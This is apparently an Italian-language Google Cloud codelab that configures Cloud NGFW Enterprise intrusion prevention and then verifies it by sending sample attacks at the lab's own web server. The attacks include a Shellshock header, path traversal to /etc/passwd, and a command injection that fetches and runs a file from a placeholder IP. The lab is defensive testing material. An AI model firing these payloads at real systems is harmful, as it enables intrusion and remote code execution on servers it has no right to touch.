Cloud NGFW Enterprise - Servizio di prevenzione delle intrusioni (senza ispezione TLS)

1. Introduzione

Firewall di nuova generazione (NGFW) cloud

Cloud Next Generation Firewall è un servizio firewall completamente distribuito con funzionalità di protezione avanzate, microsegmentazione e copertura pervasiva per proteggere i tuoi carichi di lavoro Google Cloud da attacchi interni ed esterni.

Cloud NGFW offre i seguenti vantaggi:

  • Servizio firewall distribuito: Cloud NGFW fornisce un'applicazione basata su host stateful e completamente distribuita su ogni carico di lavoro per abilitare l'architettura di sicurezza Zero Trust.
  • Configurazione e deployment semplificati: Cloud NGFW implementa criteri firewall di rete e gerarchici che possono essere collegati a un nodo della gerarchia delle risorse. Questi criteri forniscono un'esperienza di firewall coerente nella gerarchia delle risorse Google Cloud.
  • Controllo granulare e microsegmentazione: la combinazione di criteri di firewall e tag regolati da Identity and Access Management (IAM) offre un controllo granulare sia per il traffico nord-sud che per quello est-ovest, fino a una singola VM, nelle reti e nelle organizzazioni Virtual Private Cloud (VPC).

Cloud NGFW è disponibile nei seguenti livelli:

Cloud NGFW Enterprise

Cloud NGFW Enterprise aggiunge Intrusion Prevention Service (IPS), una funzionalità di livello 7, al fabric di firewall Google Cloud distribuito. L'ispezione TLS è supportata per consentire l'ispezione del traffico criptato TLS, ma non rientra nell'ambito di questo codelab (consulta Cloud NGFW Enterprise Codelab with TLS Inspection).

Ora puoi implementare ispezioni di firewall di nuova generazione (NGFW) di livello 7 affidabili con controlli granulari, senza apportare modifiche all'architettura di rete o alle configurazioni di routing.

Per attivare e implementare il controllo del firewall di livello 7 con IPS, devi eseguire le seguenti attività:

  • Crea un insieme di endpoint firewall zonali gestiti da Google Cloud.
  • Se vuoi, crea un criterio di ispezione TLS (non trattato in questo codelab)
  • (Facoltativo) Crea una configurazione dell'attendibilità (non trattata in questo codelab)
  • Associa questi endpoint alle reti Virtual Private Cloud (VPC) in cui hai bisogno del servizio Cloud NGFW Enterprise.
  • Apporta semplici modifiche ai criteri e alle regole firewall esistenti per specificare i profili di prevenzione delle minacce per i vari percorsi di traffico.

Criteri firewall di rete

Il criterio del firewall di rete funge da contenitore per le regole del firewall. Le regole definite in un criterio firewall di rete non vengono applicate finché il criterio non viene associato a una rete VPC. A ogni rete VPC può essere associato un criterio firewall di rete. I criteri firewall di rete supportano i tag gestiti da IAM (o semplicemente tag) nelle regole firewall, che sostituiscono i tag di rete attuali e possono essere utilizzati per fornire l'identità al workload.

La condivisione di un criterio firewall di rete tra le reti e l'integrazione con i tag gestiti da IAM semplificano notevolmente la configurazione e la gestione dei firewall.

Con l'introduzione del criterio firewall di rete, i criteri firewall di Google Cloud ora sono costituiti dai seguenti componenti:

  1. Criterio firewall gerarchico
  2. Regole firewall VPC
  3. Criterio firewall di rete ( globale e regionale)

I criteri firewall gerarchici sono supportati nei nodi dell'organizzazione e delle cartelle all'interno della gerarchia delle risorse, mentre le regole firewall VPC e i criteri firewall di rete vengono applicati a livello di VPC. Una grande differenza tra le regole firewall VPC e i criteri firewall di rete è che le regole firewall VPC possono essere applicate solo a una singola rete VPC, mentre i criteri firewall di rete possono essere associati a un singolo VPC o a un gruppo di VPC, tra gli altri vantaggi come gli aggiornamenti collettivi.

Infine, sono presenti anche le regole firewall implicite fornite con ogni rete VPC:

  • Una regola di uscita con azione Consenti e destinazione 0.0.0.0/0
  • Una regola di ingresso con azione di rifiuto e origine 0.0.0.0/0

Per impostazione predefinita, la sequenza di applicazione è mostrata nel seguente diagramma:

21b3bcabc469ffe.png

Tieni presente che l'ordine di applicazione tra le regole firewall VPC e il criterio firewall di rete globale può essere invertito. I clienti possono specificare l'ingiunzione di applicazione in qualsiasi momento con un comando gcloud.

Tag regolati da IAM

I nuovi tag integrati nelle regole dei criteri del firewall di rete sono risorse di coppie chiave-valore definite a livello di organizzazione o progetto della gerarchia delle risorse Google Cloud. Come suggerisce il nome, questo tag contiene un controllo dell'accesso IAM che specifica chi può fare cosa nel tag. Le autorizzazioni IAM, ad esempio, consentono di specificare quali entità possono assegnare valori ai tag e quali possono associare i tag alle risorse. Una volta applicato un tag a una risorsa, le regole firewall di rete possono utilizzarlo per consentire e negare il traffico.

I tag rispettano il modello di risorse di ereditarietà di Google Cloud, il che significa che i tag e i relativi valori vengono trasmessi lungo la gerarchia dai relativi elementi principali. Di conseguenza, i tag possono essere creati in un unico posto e poi utilizzati da altre cartelle e altri progetti nella gerarchia delle risorse. Visita questa pagina per informazioni dettagliate sui tag e sulle limitazioni di accesso.

I tag non devono essere confusi con i tag di rete. Queste ultime sono stringhe che possono essere aggiunte alle istanze Compute Engine; sono associate all'istanza e svaniscono quando l'istanza viene ritirata. Le regole firewall VPC possono includere tag di rete, ma poiché non sono considerate risorse cloud, non sono soggette al controllo dell'accesso IAM.

Tieni presente che in questo documento i tag e i tag gestiti da IAM vengono utilizzati in modo intercambiabile.

Cosa creerai

Questo codelab richiede un singolo progetto e la possibilità di creare una rete VPC con connettività pubblica e dimostrerà come Cloud NGFW Enterprise può fornire funzionalità IPS:

  • Ispezione dei flussi all'interno della VPC/della subnet [est-ovest]
  • Ispezione dei flussi in entrata da internet [Nord-Sud]

I flussi da ispezionare verranno selezionati utilizzando i parametri di corrispondenza di Cloud Firewall, tra cui 5 tuple (IP di origine, IP di destinazione, protocollo, porta di origine, porta di destinazione) e tag. L'ispezione TLS non è inclusa in questo codelab.

52a0642ef8668ecf.png

La base di regole del criterio firewall di rete sarà simile alla tabella seguente:

Priorità

Direzione

Target

Origine

Destinazione

Azione

Tipo

100

In uscita

Quarantine_Tag

Qualsiasi

Qualsiasi

Nega

Essentials

1000

In entrata

Server_Tag

Intervalli di controllo di integrità

Qualsiasi

Consenti

Essentials

2000

In entrata

Qualsiasi

Intervalli di Identity-Aware Proxy

Qualsiasi

Consenti

Essentials

3000

In entrata

Qualsiasi

Geo, GCTI

Qualsiasi

Nega

Standard

4000

In uscita

Qualsiasi

Qualsiasi

Geo, GCTI

Nega

Standard

5000

In uscita

Qualsiasi

Qualsiasi

Nomi di dominio completi dell'aggiornamento di sistema

Consenti

Standard

6000

In entrata

Server_Tag

10.0.0.0/24

Qualsiasi

IPS

Enterprise

7000

In entrata

Server_Tag

CloudNAT_IP

Qualsiasi

IPS

Enterprise

Cosa imparerai a fare

Che cosa ti serve

  • Progetto Google Cloud
  • Conoscenza del deployment delle istanze e della configurazione dei componenti di rete
  • Conoscenze sulla configurazione del firewall VPC

2. Prima di iniziare

Creare/aggiornare le variabili

Questo codelab utilizza le variabili $per facilitare l'implementazione della configurazione di gcloud in Cloud Shell.

In Cloud Shell, esegui i comandi riportati di seguito sostituendo le informazioni tra parentesi secondo le necessità (salta l'impostazione del progetto se quello desiderato è già impostato). Se sono necessari più endpoint, ad esempio firewall, a livello di organizzazione, viene utilizzata una variabile diversa per le risorse a livello di organizzazione.

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. Abilita API

Se non l'hai ancora fatto, abilita le API:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Profilo di sicurezza e creazione di endpoint di Cloud NGFW Enterprise

Poiché la creazione dell'endpoint Cloud NGFW Enterprise richiede circa 20 minuti, verrà creato per primo e la configurazione di base può essere eseguita in parallelo durante la creazione dell'endpoint.

Crea il profilo di sicurezza e il gruppo di profili di sicurezza:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

Risultato previsto:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

Verifica che le risorse siano state create correttamente:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Risultato previsto:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

Crea l'endpoint Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

Esegui il comando seguente per verificare che l'endpoint sia in fase di creazione (STATUS: CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Output previsto (tieni presente che il formato dell'output può variare in base al client utilizzato):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

Se vuoi, esegui il comando seguente per visualizzare ulteriori dettagli:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Risultato previsto:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

La procedura di creazione dell'endpoint richiede circa 20 minuti. Vai alla sezione Configurazione di base per creare le risorse richieste in parallelo.

5. Configurazione di base

Se preferisci creare manualmente le risorse di base, vai alle sezioni seguenti.

Rete e subnet VPC

Rete e subnet VPC

Crea la rete e la subnet VPC:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Crea i router Cloud e i gateway Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instanze

Crea le istanze client e del server web:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

Tag a livello di progetto

Se necessario, assegna all'utente le autorizzazioni tagAdmin e/o tagUser:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

Crea la chiave e i valori del tag a livello di progetto:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

Associa i tag alle istanze:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Criterio firewall di rete globale

Crea un criterio firewall di rete globale:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

Crea regole Cloud Firewall Essential per negare il traffico proveniente dalle istanze messe in quarantena (create solo come esempio, non utilizzate in questo codelab) e consentire il traffico dagli intervalli di controllo di integrità e proxy con consapevolezza dell'identità:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

Crea regole Cloud Firewall Standard per negare il traffico in entrata e in uscita da/verso paesi soggetti a embargo, IP noti come dannosi e nodi di uscita di Tor; e consenti solo il traffico in uscita verso FQDN specifici per gli aggiornamenti di sistema (creati solo come esempio, non utilizzati in questo codelab):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

Crea regole del firewall Cloud per consentire il traffico in entrata est-ovest / intra-subnet e nord-sud / internet dagli intervalli specifici (queste regole verranno aggiornate per abilitare Cloud NGFW Enterprise):

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Associa il criterio firewall di rete alla rete VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

Bilanciatore del carico di rete TCP/UDP esterno

Prenota un indirizzo IP esterno e crea il gruppo di istanze e il controllo di integrità:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

Crea il servizio di backend e la regola di inoltro:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. Associazione di endpoint Cloud NGFW Enterprise

Se necessario, ridefinisci le variabili di ambiente.

Verifica che la creazione dell'endpoint firewall cloud sia stata completata correttamente. Procedi solo quando lo stato è ATTIVO (durante la creazione lo stato previsto è IN FASE DI CREAZIONE):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Output previsto (tieni presente che il formato dell'output può variare in base al client utilizzato):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

Se vuoi, esegui il comando seguente per visualizzare ulteriori dettagli:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Risultato previsto:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

Associa l'endpoint Cloud NGFW Enterprise alla rete VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

La procedura di associazione dura circa 10 minuti. Procedi solo quando lo stato è ACTIVE (lo stato previsto è CREATING durante il processo di creazione):

gcloud network-security firewall-endpoint-associations list

Risultato previsto:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

Se vuoi, esegui il comando seguente per visualizzare ulteriori dettagli:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Risultato previsto:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. Regole di ispezione di Cloud NGFW Enterprise

Apri una nuova scheda e avvia una connessione SSH alla VM client tramite IAP (dovrai definire di nuovo le variabili nella nuova scheda):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Definisci le variabili richieste nella sessione SSH e impostale (assicurati che i valori siano corretti):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

Esegui curl su entrambi gli IP per verificare che siano raggiungibili:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

Risultato previsto per entrambe le richieste curl:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

Invia attacchi di esempio all'IP del server interno (traffico est-ovest / all'interno del VPC). Il server web deve rispondere a tutte le richieste, confermando che non è presente alcun sistema di prevenzione/ispezione L7:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Invia di nuovo gli attacchi di esempio all'IP del server esterno tramite Cloud NAT (traffico in entrata da nord a sud) e, analogamente, il server web deve rispondere a tutte le richieste:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Risultati previsti sia per gli IP pubblici che per quelli privati:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Torna a Cloud Shell e aggiorna le regole di ingresso esistenti per attivare l'ispezione L7:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Se vuoi, descrivi le regole del firewall per verificare che siano state aggiornate correttamente:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Risultato previsto:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Regola 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Risultato previsto:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Torna alla VM client e invia di nuovo gli attacchi di esempio all'IP del server interno (ispezione est-ovest / intra-VPC):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Invia di nuovo gli attacchi di esempio all'IP del server esterno tramite Cloud NAT (ispezione in entrata Nord-Sud):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Non vengono ricevute risposte per i primi attacchi, come indicato nell'output previsto di seguito, a conferma del fatto che gli attacchi di alta gravità vengono ora bloccati.

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Vai a Sicurezza della rete > Minacce nella console Cloud per verificare i log (potrebbe essere necessario aggiornare alcune volte se gli attacchi non sono ancora visualizzati).

daa535fcc34873aa.png

Scegli uno degli attacchi e fai clic su "Visualizza log di controllo" a destra (si apre in una nuova scheda per tornare facilmente indietro). Espandi l'attacco per visualizzarne i dettagli:

5f97cdef79e42eff.png

Se vuoi, sostituisci il filtro di Esplora log con la query riportata di seguito:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

Le voci del log delle minacce dovrebbero essere visualizzate come segue:

5ea9581a7eb694c5.png

I pacchetti intercettati dal firewall Cloud possono essere verificati utilizzando il filtro di Esplora log riportato di seguito (utile per la risoluzione dei problemi):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

Vai all'ispezione del traffico internet (facoltativo) o chiudi la sessione SSH e vai al capitolo successivo per i passaggi di pulizia.

[Facoltativo] Ispezione del traffico internet

Come verificato nella sezione precedente, i flussi ispezionati finora sono all'interno della sottorete/del VPC (est-ovest) e il traffico in entrata da internet (nord-sud in entrata). Cloud NGFW Enterprise può essere configurato anche per ispezionare tutto il traffico internet (in uscita da nord a sud) creando una nuova regola di uscita utilizzando Cloud Shell:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Torna alla VM client e invia di nuovo gli attacchi di alta gravità all'indirizzo IP del server esterno:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

Risultato previsto:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

Passa alla scheda Minacce in Cloud Console per verificare i log (potrebbe essere necessario aggiornare alcune volte). Gli attacchi avrebbero dovuto essere identificati e registrati di nuovo, ma ora l'IP di origine è interno perché viene attivata prima una regola di uscita:

36f8edf264dcddcd.png

Chiudi la sessione SSH e vai alla sezione successiva per i passaggi di pulizia.

8. Procedura di pulizia

Pulizia dei componenti di Cloud NGFW Enterprise

Elenca le associazioni Cloud NGFW Enterprise esistenti:

gcloud network-security firewall-endpoint-associations list

Elimina l'associazione di Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone

gcloud network-security firewall-endpoint-associations list

Elenca gli endpoint Cloud NGFW Enterprise esistenti:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Elimina l'endpoint Cloud NGFW Enterprise, il che può richiedere circa 20 minuti:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

Verifica che Cloud NGFW Enterprise sia stato eliminato eseguendo il comando seguente:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Elimina il gruppo di profili di sicurezza e il profilo di prevenzione delle minacce:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

Pulizia della configurazione di base

Vai al passaggio successivo se preferisci eliminare le risorse di base.

Se necessario, definisci le variabili di ambiente. Da Cloud Shell, elimina i componenti del bilanciatore del carico di rete:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

Rimuovi le istanze:

